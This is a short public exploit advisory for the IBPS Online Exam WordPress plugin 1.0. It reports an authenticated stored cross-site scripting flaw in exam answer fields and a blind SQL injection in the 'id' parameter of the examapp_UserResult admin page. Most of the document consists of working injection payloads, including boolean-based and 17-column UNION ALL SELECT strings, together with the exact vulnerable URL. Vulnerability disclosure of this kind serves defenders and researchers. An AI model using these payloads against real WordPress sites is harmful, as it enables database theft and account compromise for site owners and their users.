WordPress Plugin IBPS Online Exam 1.0 - SQL Injection / Cross-Site Scripting

# Exploit Title: IBPS Online Exam Plugin for WordPress v1.0 - XSS SQLi
# Date: 2017-07-11
# Exploit Author: 8bitsec
# Vendor Homepage: https://elfemo.com/demo/server2/order2032/
# Software Link: https://codecanyon.net/item/ibps-online-exam-plugin-for-wordpress/20028534
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.5]
# Email: [email protected]
# Contact: https://twitter.com/_8bitsec

Release Date:
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2017-07-20

Product & Service Introduction:
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A Full Featured WordPress Plugin for IBPS Examination.

Technical Details & Description:
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Stored XSS on exam input textfields.

Blind SQL Injection on examapp_UserResult page id parameter.

Proof of Concept (PoC):
=======================

Authenticated Stored XSS:

Logged as a student:
Write the payload in the input textfields while attempting an exam. The payload will execute on My Results > View Details:
https://localhost/wp-admin/admin.php?page=examapp_UserResult&info=view&id=[xx]

Blind SQL Injection

Logged as a student:

https://localhost/wp-admin/admin.php?page=examapp_UserResult&info=view&id=79 and 1=1

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=examapp_UserResult&info=view&id=78 AND 6705=6705

    Type: UNION query
    Title: Generic UNION query (NULL) - 17 columns
    Payload: page=examapp_UserResult&info=view&id=-4748 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178716b71,0x6b4c5247597261614e73447378544741764b4f7172597a5a58494551685a7056644d6e595773496e,0x7162787671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- KttP

Credits & Authors:
==================
8bitsec - [https://twitter.com/_8bitsec]